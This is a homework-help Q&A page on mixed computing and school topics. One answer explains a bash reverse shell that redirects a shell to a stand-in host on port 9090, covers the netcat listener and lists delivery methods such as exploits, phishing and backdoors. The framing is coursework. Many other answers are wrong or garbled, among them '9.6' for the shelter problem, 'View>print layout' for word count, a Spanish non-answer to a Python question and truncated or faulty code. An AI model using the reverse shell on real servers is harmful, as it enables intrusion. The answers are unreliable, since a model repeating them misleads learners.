the documents created in ms-excel is call what?​

Answers

Answer 1

Answer:

It is called a Spreadsheet

Answer 2

The documents created in MS-excel are called a workbook that is stored in the computer.

What is a workbook?

A workbook in Microsoft Excel is a grouping of one or more spreadsheets, also known as worksheets, in a single file. The spreadsheet "Sheet1" from the Excel workbook file "Book1" is an example below.

The "Sheet2" and "Sheet3" sheet tabs are likewise present in our example and are a part of the same worksheet. It may include both worksheets and chart sheets, among other types of sheets.

A blank spreadsheet is shown along with the Excel Starter beginning screen. A spreadsheet is known as a worksheet in Excel Starter, and worksheets are kept in a file known as a workbook.

Therefore, workbooks are the name given to the documents created in Microsoft Excel and kept on the computer.

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Related Questions

In java Please

3.28 LAB: Name format
Many documents use a specific format for a person's name. Write a program whose input is:

firstName middleName lastName

and whose output is:

lastName, firstInitial.middleInitial.

Ex: If the input is:

Pat Silly Doe
the output is:

Doe, P.S.
If the input has the form:

firstName lastName

the output is:

lastName, firstInitial.

Ex: If the input is:

Julia Clark
the output is:

Clark, J.

Answers

Answer:

Explanation:

import java.util.Scanner;

public class NameFormat {

   public static void main(String[] args) {

       Scanner input = new Scanner(System.in);

       

       System.out.print("Enter a name: ");

       String firstName = input.next();

       String middleName = input.next();

       String lastName = input.next();

       

       if (middleName.equals("")) {

           System.out.println(lastName + ", " + firstName.charAt(0) + ".");

       } else {

           System.out.println(lastName + ", " + firstName.charAt(0) + "." + middleName.charAt(0) + ".");

       }

   }

}

In this program, we use Scanner to read the input name consisting of the first name, middle name, and last name. Based on the presence or absence of the middle name, we format the output accordingly using if-else statements and string concatenation.

Make sure to save the program with the filename "NameFormat.java" and compile and run it using a Java compiler or IDE.

A researcher is interested in learning more about the different kinds of plants growing in different areas of the state she lives in. The researcher creates an app that allows residents of the town to photograph plants in their area using a smartphone and record date, time, and location of the photograph. Afterwards the researcher will analyze the data to try to determine where different kinds of plants grow in the state.Which of the following does this situation best demonstrate?A. Open dataB. Citizen scienceC. CrowdfundingD. Machine Learning

Answers

The answer is

B. Citizen Science

This is because Citizen Science is data collected by normal citizens that collect data as Amateur Scientists.

Integers limeWeight1, limeWeight2, and numKids are read from input. Declare a floating-point variable avgWeight. Compute the average weight of limes each kid receives using floating-point division and assign the result to avgWeight.

Ex: If the input is 300 270 10, then the output is:

57.00

how do I code this in c++?

Answers

Answer:

Explanation:

Here's the C++ code to solve the problem:

#include <iostream>

using namespace std;

int main() {

  int limeWeight1, limeWeight2, numKids;

  float avgWeight;

 

  cin >> limeWeight1 >> limeWeight2 >> numKids;

 

  avgWeight = (float)(limeWeight1 + limeWeight2) / numKids;

 

  cout.precision(2); // Set precision to 2 decimal places

  cout << fixed << avgWeight << endl; // Output average weight with 2 decimal places

 

  return 0;

}

In this program, we first declare three integer variables limeWeight1, limeWeight2, and numKids to hold the input values. We also declare a floating-point variable avgWeight to hold the computed average weight.

We then read in the input values using cin. Next, we compute the average weight by adding limeWeight1 and limeWeight2 and dividing the sum by numKids. Note that we cast the sum to float before dividing to ensure that we get a floating-point result.

Finally, we use cout to output the avgWeight variable with 2 decimal places. We use the precision() and fixed functions to achieve this.

Final answer:

The student can code the calculation of the average weight of limes that each kid receives in C++ by declaring integer and double variables, getting input for these variables, and then using floating-point division to compute the average. The result is then assigned to the double variable which is displayed with a precision of two decimal places.

Explanation:

To calculate the average weight of limes each kid receives in C++, declare three integers: limeWeight1, limeWeight2, and numKids. Receive these values from input. Then declare a floating-point variable avgWeight. Use floating-point division (/) to compute the average weight as the sum of limeWeight1 and limeWeight2 divided by the number of kids (numKids). Assign this result to your floating-point variable (avgWeight). Below is an illustrative example:

#include

  cin >> limeWeight1 >> limeWeight2 >> numKids;

}

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Which option determines the number of pages, words, and characters in a
document?
View Print Layout
File > Properties
Tools > AutoCorrect
Tools Word Count

Answers

View>print layout because it just makes sense

Due to the many legal and regulatory barriers to cloud computing, often related to international data access and transport, cloud computing customers have been forced to adopt what type of deployment model that is typically more expensive and offers more restricted benefits?.

Answers

Long troubleshooting, application downtime, migration agents, and cutover complexity are a few notable issues that need to be addressed in this situation.

How does cloud computing operate and what is it? Long troubleshooting, application downtime, migration agents, and cutover complexity are a few notable issues that need to be addressed in this situation.Copyright infringement liability, data breaches, security violations, privacy and HIPAA violations, data loss, data management, electronic discovery ("e-discovery"), hacking, cybersecurity, and numerous other complex issues are just a few of the legal problems that can arise "in the cloud" and lead to complex litigation and...Public cloud deployment is the most typical type of deployment.In a public cloud deployment method, the cloud service provider supplies all of the resources, so you don't own any hardware.

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The greater than sign(>) is an example of ​

Answers

Answer:

charactor

Explanation:

It's used in arythmetic calculation

In the Access Query window, the upper portion of the window contains the design grid.a) trueb) false

Answers

Answer:

b) false

Explanation:

Access Query Window comprises of two major parts which are:

1. Upper part: this is otherwise referred to as Show Table. It is the top part of the window which displays tables, fields, or subqueries that can be utilized in the query.

2. Lower part: this is otherwise referred to as the Design Table/Grid. It is the bottom part of the window which displays columns that can be utilized to create fields by the users.

Hence, the right answer is Option B: False

Distinguish among packet filtering firewalls, stateful inspection firewalls, and proxy firewalls. A thorough answer will require at least a paragraph for each type of firewall.
Acme Corporation wants to be sure employees surfing the web aren't victimized through drive-by downloads. Which type of firewall should Acme use? Explain why your answer is correct.

Answers

Answer:

packet filtering

Explanation:

We can use a packet filtering firewall, for something like this, reasons because when visiting a site these types of firewalls should block all incoming traffic and analyze each packet, before sending it to the user. So if the packet is coming from a malicious origin, we can then drop that packet and be on our day ;D

Write a program palindrome.py that prompts for a sequence of words or numbers on a single line and checks if the entries are palindromes or not. A word or a number is a palindrome if it remains unchanged when reversed. e.g. rotor is a palindrome; but python is not a palindrome. e.g. 737 is a palindrome; but 110 is not a palindrome. The program receives the sequence as input and returns True if an entry is a palindrome or False if an entry is not a palindrome. Print the boolean value on one line. Print the palindromes count on the next line.

Answers

Answer:

Explanation:

The program first asks the user for the sequence of words. Then it splits the sequence into an array of words. Then it loops through the array checking each word to see if it is a palindrome. If it is it prints the word, the boolean value, and adds 1 to the palindrome_count variable. Otherwise it prints the word, false, and moves on to the next word in the list. Finally, it prints out the total value of palindrome_count.

word = input("Enter sequence of words: ")

word_list = word.split(' ')

print(word_list)

palindrome_count = 0

for word in word_list:

   print('\n\n')

   reverse = word[::-1]

   if word == reverse:

       print(word, end='\n')

       print(True, end="\n")

       palindrome_count += 1

   else:

       print(word, end='\n')

       print(False, end='\n')

print("\n\nNumber of Palindromes in Sequence: " + str(palindrome_count))

Write a program palindrome.py that prompts for a sequence of words or numbers on a single line and checks

#Write a function called grade_scantron. grade_scantron should
#take as input two lists: answers and key. Each list contain
#strings. Each string will be only one letter, a character
#from A to E. grade_scantron should return how many questions
#the student got "right", where a student gets a question
#right if their answer for a problem matches the answer key.
#
#In other words, if value of the first item in answers matches
#the value of the first item in key, the student gets a point.
#If it does not, the student does not get a point.
#
#If the lists do not have the same number of items, return
#-1 to indicate that the answer key did not belong to the
#same test as the student's answers.\
#
#Hint: in the past, lots of people have tried to do this using
#the index() method. That won't work! You'll need to track the
#index yourself.


#Write your function here!
def grade_scantron(answers,key):
count=0
result=-1
try:
if len(key) != len(answers):
result=-1
except:
result=count
for index, item in enumerate(answers):
if(key[index] == answers[index]):
count+=1

return(result)

#Below are some lines of code that will test your function.
#You can change the value of the variable(s) to test your
#function with different inputs.
#
#If your function works correctly, this will originally
#print: 7
answers = ["A", "B", "B", "A", "D", "E", "B", "A","D"]
key = ["A", "B", "B", "A", "D", "E", "B", "A", "D"]
print(grade_scantron(answers, key))

I keep getting -1 and I don't know why. No matter what I do, I can't get the code to print either -1 (if the lengths don't match) or the amount of correct answers ( if the lengths do match up).

Answers

En este ejemplo vemos que, por la información dada, no es posible que esta oración tenga coherencia o sentido. En este caso el nexo o conector que une ambas oraciones no debería haberse utilizado, puesto que ambas oraciones no tienen relación. Por ende corresponden a estructuras diferentes y no es posible que mantengan una coherencia. Varias oraciones sin coherencia, generan textos incoherentes.

which of the following was not identified as a reason that iot (internet of thing) security should be a concern?

Answers

Answer:

please give the following

Explanation:

you can either update the question or post a new one

Which of these vulnerabilities would you find in the device firmware attack surface area?

Inability to wipe device
Buffer Overflow
Interoperability Standards
Security-related function API exposure

Answers

Interoperability Standards, Interoperability is the capacity of devices, programs, systems, or other items from several manufacturers to work in concert without the intervention of end users.

What is Interoperability?

The capacity of various systems, devices, applications, or products to connect and interact in a coordinated manner without needing any help from the end user is known as interoperability (pronounced IHN- tuhr -AHP- uhr -uh-BIHL- ih -tee).Greater timely sharing of important information is made possible by interoperability. The information from a patient's last-week blood test at his doctor's office can therefore be used today at the emergency room, saving time and money from performing additional (and unnecessary) tests at the hospital.Interoperability is the capacity of devices, programs, systems, or other items from several manufacturers to work in concert without the intervention of end users.

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dofemines the colour Hoto to Windows - Frome​

Answers

You can use these techniques to figure out the colour photo in Windows. Open the image or photo file on your Windows computer first.

Then, check for choices or tools linked to colour settings or modifications, depending on the picture viewer or editor you're using.

This could be found under a menu item like "Image," "Edit," or "Tools." You can adjust a number of factors, including brightness, contrast, saturation, and hue, once you've accessed the colour options, to give the shot the appropriate colour appearance.

Play around with these options until you get the desired colour result.

Thus, if necessary, save the altered image with the new colour settings.

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Your question seems incomplete, the probable complete question is:

determine the colour photo to Windows

On the AdvertisingCosts worksheet, create a Line chart of the data for the total spent on advertising each month from January through June. The primary horizontal axis should be the months of the year, and the Vertical (value) Axis should be the total spent on advertising each month.

Answers

I can provide you with general instructions on how to create a line chart in Microsoft Excel based on the data you have mentioned.

How to create the line chart

To create a line chart of the data for the total spent on advertising each month from January through June in Microsoft Excel, you can follow these steps:

Open Microsoft Excel and open the AdvertisingCosts worksheet.

Select the data range for the months and total spent on advertising from January through June.

Click on the "Insert" tab on the Excel ribbon.

Click on the "Line" chart type under the "Charts" section.

Select the chart subtype that you prefer from the drop-down menu. For example, you can choose a simple line chart or a chart with markers for each data point.

Your chart will be created, but it may need some adjustments to make it look better. For example, you may want to add a chart title, axis titles, and legend to the chart.

Click on the chart to activate the "Chart Tools" tab on the Excel ribbon.

Use the options on this tab to customize your chart as needed. For example, you can add a chart title by clicking on the "Chart Title" button, or you can change the axis titles by clicking on the "Axis Titles" button.

Once you have completed these steps, you should have a line chart of the data for the total spent on advertising each month from January through June. The primary horizontal axis should be the months of the year, and the Vertical (value) Axis should be the total spent on advertising each month.

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An animal shelter recently held an adoption event and found homes for 48 of their shelter animals. If they found home for 80% of the animals during the event, how many animals were in the shelter before the event? [Type your answer as a number.]

Answers

Answer:

9.6

Explanation:

Answer:

Hi

Explanation:

which of the following is a personal benifit of earning a college degree?
A) you have more friends
B) you are more likely to exercise
C) you are more likely to vote for the right candidate.
D) you have a longer life expectancy

Answers

Answer:

you have a longer life expectancy

Explanation:

Does anyone here use or know of a voice/audio recording tool?

I have a friend who uses a voice/audio recording tool (https://tuttu.io/) to make teaching and learning more interactive and engaging for everyone.

The teachers use the recordings either to add to homework/assignments using their QR code feature, or to give feedback to students. It also makes it easier and clearer when given more contextual audio.

Thanks!

Answers

Numerous tools exist that facilitate voice and audio recording, for instance, Audacity, GarageBand, and Voice Memos, alongside QuickTime Player.

What are alternative tools you can use?

Furthermore, apart from Tuttu . io, which you referenced previously, several comparable tools are present for the purpose of not only recording but also editing and distributing audio files online.

Anchor, Spreaker, as well as Sound Cloud serve as a few illustrations here. Given the vast selection available, an individual's personal preferences and needs wholly influence their choice of tool.

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I really need help with CSC 137 ASAP!!! but it's Due: Wednesday, April 12, 2023, 12:00 AM

Questions for chapter 8: EX8.1, EX8.4, EX8.6, EX8.7, EX8.8

I really need help with CSC 137 ASAP!!! but it's Due: Wednesday, April 12, 2023, 12:00 AMQuestions for
I really need help with CSC 137 ASAP!!! but it's Due: Wednesday, April 12, 2023, 12:00 AMQuestions for
I really need help with CSC 137 ASAP!!! but it's Due: Wednesday, April 12, 2023, 12:00 AMQuestions for

Answers

The response to the following prompts on programming in relation to array objects and codes are given below.

What is the solution to the above prompts?

A)

Valid declarations that instantiate an array object are:

boolean completed[J] = {true, true, false, false};

This declaration creates a boolean array named "completed" of length 4 with initial values {true, true, false, false}.

int powersOfTwo[] = {1, 2, 4, 8, 16, 32, 64, 128};

This declaration creates an integer array named "powersOfTwo" of length 8 with initial values {1, 2, 4, 8, 16, 32, 64, 128}.

char[] vowels = new char[5];

This declaration creates a character array named "vowels" of length 5 with default initial values (null for char).

float[] tLength = new float[100];

This declaration creates a float array named "tLength" of length 100 with default initial values (0.0f for float).

String[] names = new String[]{"Sam", "Frodo", "Merry"};

This declaration creates a String array named "names" of length 3 with initial values {"Sam", "Frodo", "Merry"}.

char[] vowels = {'a', 'e', 'i', 'o', 'u'};

This declaration creates a character array named "vowels" of length 5 with initial values {'a', 'e', 'i', 'o', 'u'}.

double[] standardDeviation = new double[1];

This declaration creates a double array named "standardDeviation" of length 1 with default initial value (0.0 for double).

In summary, arrays are objects in Java that store a fixed-size sequential collection of elements of the same type. The syntax for creating an array includes the type of the elements, the name of the array, and the number of elements to be stored in the array. An array can be initialized using curly braces ({}) to specify the initial values of the elements.


B) The problem with the code is that the loop condition in the for loop is incorrect. The index should start from 0 instead of 1, and the loop should run until index < masses.length instead of masses.length + 1. Also, the totalMass should be incremented by masses[index], not assigned to it.

Corrected code:
double[] masses = {123.6, 34.2, 765.87, 987.43, 90, 321, 5};

double totalMass = 0;

for (int index = 0; index < masses.length; index++) {

   totalMass += masses[index];

}


The modifications made here are to correct the starting index of the loop, fix the loop condition, and increment the totalMass variable correctly.


C)

1)
Code to set each element of an array called nums to the value of the constant INITIAL:

const int INITIAL = 10; // or any other desired initial value

int nums[5]; // assuming nums is an array of size 5

for (int i = 0; i < 5; i++) {

   nums[i] = INITIAL;

}


2) Code to print the values stored in an array called names backwards:
string names[4] = {"John", "Jane", "Bob", "Alice"}; // assuming names is an array of size 4

for (int i = 3; i >= 0; i--) {

   cout << names[i] << " ".

}



3) Code to set each element of a boolean array called flags to alternating values (true at index 0, false at index 1, true at index 2, etc.):

bool flags[6]; // assuming flags is an array of size 6

for (int i = 0; i < 6; i++) {

   flags[i] = (i % 2 == 0);

}


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Assuming int numbers[SIZE]; is initialized somehow, write a function counter() that you can send the array to, plus an extra integer, and the function will return the number of times that value is found in the array. For example, if the array of SIZE 7 contains {1,2,3,2,3,3,3}then the call
x=counter(numbers,SIZE,3); will put 4 into x.

Answers

Answer:

Explanation:

The following function is written in Java and takes in three parameters the array, its size, and the chosenNumber that will be counted. The function then creates an instance variable called Counter and loops through the given array looking for the chosenNumber. Every time that the number is found in the array it adds 1 to the counter. Once the loop is done it returns the total value of the counter variable.

 public static int counter(int[] numbers, int Size, int chosenNumber) {

       int counter = 0;

       for (int x = 0; x < Size; x++) {

           if(numbers[x] == chosenNumber) {

               counter++;

           }

       }

       return counter;

   }

3
Drag each label to the correct location on the image.
An organization has decided to initiate a business project. The project management team needs to prepare the project proposal and business
justification documents. Help the management team match the purpose and content of the documents.
contains high-level details
of the proposed project
contains a preliminary timeline
of the project
helps to determine the project type,
scope, time, cost, and classification
helps to determine whether the
project needs meets business
needs
contains cost estimates,
project requirements, and risks
helps to determine the stakeholders
relevant to the project
Project proposal
Business justification

Answers

Here's the correct match for the purpose and content of the documents:

The Correct Matching of the documents

Project proposal: contains high-level details of the proposed project, contains a preliminary timeline of the project, helps to determine the project type, scope, time, cost, and classification, helps to determine the stakeholders relevant to the project.

Business justification: helps to determine whether the project needs meet business needs, contains cost estimates, project requirements, and risks.

Please note that the purpose and content of these documents may vary depending on the organization and specific project. However, this is a general guideline for matching the labels to the documents.

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Pete is late to work when he gets to a train crossing. He sees a train coming, but there are no barriers. Should he drive on ?

Answers

No because he can get hit by the train

The assignment asks you to analyse the determinants of average school test scores using a dataset with
information on 500 schools in California, USA.
There are 4 different tasks you should perform:
1. Import the data into Stata and inspect it
2. Estimate a simple model of the determinants of test scores
3. Run additional specifications
4. Interpret the results
The data is provided in the "CAschools.xls" Excel file, where the first row consists of variable names.
You should write a short report as described below (no more than 2,000 words) and submit this with your dofile included as an appendix via TurnItIn to Blackboard, by 23.59 Friday 2nd December.
Part 1: Import the data into Stata and inspect it
1. At the beginning of the do-file, clearly note your name and student number.
2. Import the data from the Excel file.
3. Label the variables according to the accompanying 'CAschools Description' document.
4. Produce a table of summary statistics for the variables in the dataset.
5. Generate and export some scatter plots that will help you decide what independent variables to include
in the models you use in Part 3 below.
Part 2: Estimate a simple model of the determinants of test scores
1. Run a regression of the student teacher ratio, the share of students receiving free or reduced-price
school meals, the share of English language learners, and zip code median income on test scores.
2. Interpret the economic and statistical significance of your estimates.
3. Is the model successful in explaining the variation in test scores? Do you have reason to believe
omitted variable bias may be affecting any of your estimates?
Part 3: Run additional specifications
1. Extend the model from part 2 to include additional explanatory variables (note: run at least 4 additional
specifications).
2. Perform appropriate tests to investigate whether these new variables add explanatory power to the
model.
3. Does zip code median income have non-linear relationship with test scores?
4. Investigate whether the relationship between average teacher experience and test scores differs between
schools with above and below median shares of English language learners.
5. Save the data set, under the name 'Assignment'. Save the do-file and close the log file.
Part 4: Interpret the results
Write a report on your analysis, including your tables, graphs and interpretations from parts 1-3. Divide the
report into 3 sections corresponding to these Parts. The report should be up to 2000 words, without the
appendix. Copy your clearly commented dofile into an appendix.

Answers

There are 6 steps you need to follow.

How to analyze determinants of average school test score?

To analyze the determinants of average school test scores using a dataset with information on 500 schools in California, the following steps should be taken:

What are the steps to analyze?Import the data from the Excel file "CAschools.xls" into Stata, and label the variables according to the accompanying "CAschools Description" document.Produce a table of summary statistics for the variables in the dataset, and generate scatter plots to help decide which independent variables to include in the model.Estimate a simple linear regression model of the determinants of test scores, including student teacher ratio, the share of students receiving free or reduced-price school meals, the share of English language learners, and zip code median income as explanatory variables.Interpret the economic and statistical significance of the estimates, and assess whether the model is successful in explaining the variation in test scores.Extend the model to include additional explanatory variables, and perform appropriate tests to investigate whether these new variables add explanatory power to the model.Investigate whether zip code median income has a non-linear relationship with test scores, and whether the relationship between average teacher experience and test scores differs between schools with above and below median shares of English language learners.Write a report on the analysis, including tables, graphs, and interpretations from all four parts.

The do-file used to carry out this analysis should be included as an appendix to the report.

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On the Cities worksheet, click cell E13. Depending on the city, you will either take a shuttle to/from the airport or rent a car. Insert an IF function that compares to see if Yes or No is located in the Rental Car? Column for a city. If the city contains No, display the value in cell F2. If the city contains Yes, display the value in the Rental Car Total (F4)

Answers

The completed formula should look like this: =IF(F3="No", F2, F4) as per the given data.

What is if function?

The IF function is a popular Excel function that allows you to make logical comparisons between a value and what you expect. As a result, an IF statement can have two outcomes.

To insert the IF function in cell E13 to compare the Rental Car? column for a city and display the appropriate value, follow these steps:

Click on cell E13.Type the equal sign (=) to begin the formula.Type IF, followed by an opening parenthesis.Type F3="No", followed by a comma. This checks if the value in cell F3 (Rental Car?) is equal to "No".Type F2, followed by a comma. This displays the value in cell F2 if the Rental Car? column for the city contains "No".Type F4, followed by a closing parenthesis. This displays the value in cell F4 if the Rental Car? column for the city contains "Yes".Press Enter to complete the formula.

Thus, "=IF(F3="No", F2, F4)" can be the complete function.

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b. Read in the data from the hours.csv file and call it “hours”. Make a histogram of the variable hours_studying. (Include the code to generate the histogram and the histogram itself in your lab report.) Comment on the symmetry or skew of the histogram.
c. Use the t.test() function that your used in lab to test the hypotheses to answer the question if this sample indicates a significant change in the number of hours spent studying. (Include your
R code and the output from t.test() in your lab report.)
i. What is the value of the test statistic?
ii. What is the p-value?
iii. Are the results significant at the α = 0. 05 level?
d. Write a conclusion for this test in APA format (as illustrated in lecture and lab).

Answers

After performing a one-sample t-test, it was determined that the test statistic held a value of t = 6.3775 (d.f.=63). The p-value calculated to be 1.128e-08, a figure insignificantly beneath the critical level of 0.05.

How to explain the Statistics

This establishes that the resulting data holds significance, as confirmed by the α=0.05 criterion given that the p-value is inferior toward the stated limit.

The average weekly study time for the students in question resulted in M = 14.18 hours; this signifies statistical variance when contrasted with sigma distribution variable values equating to SD = 5.10 (t(63) = 6.38, p < .001, 95% CI [12.95, 16.39]). Consequently, the null hypothesis cannot be sustained and must therefore be rejected.

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Access controls are enforced automatically in FMS service routines that access and manipulate files and directories.
a True
b. False

Answers

Answer:

A. True

Explanation:

In FMS service routines, access controls are enforced automatically

and they that access and manipulate files and directories. Files and directories are usually accessed via access controls in most of the FMSs.

Additional processing overhead are usually imposed by FMS. Also, the FMS tend to restrict and hinder one from accessing secondary storage.

Which option identifies the type of engineers described in the following scenario?
A team of engineers in Gaylord, Michigan, designs a system to remove natural gas from the earth.
O biomedical
O mechanical
O agricultural
O civil

Answers

Answer:

a civil

Explanation:

did it and got 100


the key feature of jacquard -punch card​

Answers

Explanation:

The Jacquard Loom is controlled by a chain of multiple cards punched with holes that determine which cords of the fabric warp should be raised for each pass of the shuttle. The ability to store and automatically reproduce complex operations found wide application in textile manufacturing.

what is the difference between information literacy and technology​

Answers

Explanation:

information literacy;the ability to articulate ones information need.

Technology is the application of practical purposes especially in industry.

With the help of the network, the attacker can obtain the shell or root shell of the remote server (Linux operating system-based) through the reverse shell attack, and then get full control of the server. The typical reverse shell instruction is as follows:

/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"

1) Please explain the meaning of 0,1,2,>, <, & represented in the above statement;
2) What does the attacker need to do on his machine in order to successfully get the shell information output on the server side? And please explain the meaning represented by /dev/tcp/server_ip/9090;
3) Combined with the above statement, explain the implementation process of reverse shell attack;
4) Combined with the relevant knowledge learned in our class, what attacking methods can be used to successfully transmit and execute the above reverse shell instruction on the server side?

Answers

1. 0 represents standard input (stdin), 1 represents standard output (stdout), 2 represents standard error (stderr), > is output redirection, < is input redirection, and & is used for file descriptor redirection.

2. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility.

3.Identify vulnerable system, craft reverse shell payload, deliver payload to target, execute payload to establish connection with attacker are methods for implementation.

4. Exploiting vulnerabilities, social engineering, planting malware/backdoors, compromising trusted user accounts can be used to execute the reverse shell instruction.

1. In the reverse shell instruction provided ("/bin/bash -c "/bin/bash -i > /dev/tcp/server_ip/9090 0<&1 2>&1"), the symbols 0, 1, 2, >, <, and & represent the following:

0: It represents file descriptor 0, which is the standard input (stdin).

1: It represents file descriptor 1, which is the standard output (stdout).

2: It represents file descriptor 2, which is the standard error (stderr).

: It is the output redirection symbol and is used to redirect the output of a command to a file or device.

<: It is the input redirection symbol and is used to redirect input from a file or device to a command.

&: It is used for file descriptor redirection, specifically in this case, combining stdout and stderr into a single stream.

2. To successfully get the shell information output on the server side, the attacker needs to set up a listening service on their own machine. In this case, the attacker should listen on port 9090 using a tool such as netcat or a similar utility. The "/dev/tcp/server_ip/9090" in the reverse shell instruction represents the connection to the attacker's machine on IP address "server_ip" and port 9090. By specifying this address and port, the attacker creates a connection between their machine and the compromised server, allowing the output of the shell to be sent to their machine.

3. The reverse shell attack is typically performed in the following steps:

The attacker identifies a vulnerability in the target server and gains control over it.The attacker crafts a payload that includes the reverse shell instruction, which allows the attacker to establish a connection with their machine.The attacker injects or executes the payload on the compromised server, initiating the reverse shell connection.The reverse shell instruction creates a new shell on the compromised server and connects it to the attacker's machine, redirecting the shell's input and output streams to the network connection.Once the reverse shell connection is established, the attacker gains interactive access to the compromised server, obtaining a shell or root shell, and can execute commands as if they were directly working on the server itself.

4.  Successfully transmit and execute the reverse shell instruction on the server side, the attacker can use various attacking methods, including:

Exploiting a vulnerability: The attacker can search for known vulnerabilities in the target server's operating system or specific applications running on it. By exploiting these vulnerabilities, they can gain unauthorized access and inject the reverse shell payload.

Social engineering: The attacker may use social engineering techniques, such as phishing emails or deceptive messages, to trick a user with access to the server into executing the reverse shell payload unknowingly.

Malware or backdoor installation: If the attacker already has control over another system on the same network as the target server, they may attempt to install malware or a backdoor on that system. This malware or backdoor can then be used to launch the reverse shell attack on the target server.

Compromising a trusted user account: The attacker may target and compromise a user account with privileged access on the server. With the compromised account, they can execute the reverse shell instruction and gain control over the server.

It is important to note that carrying out such attacks is illegal and unethical unless done with proper authorization and for legitimate security testing purposes.

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When you need to switch on an electrical current at a remote location, would you use a relay or an amplifier?

Answers

Answer:

Relay

Explanation:

They both perform similar functions in terms of control of voltage and current but the relay would be better because although it cannot produce a variable output like that of an amplifier, it has the capacity to isolate its input from its output.

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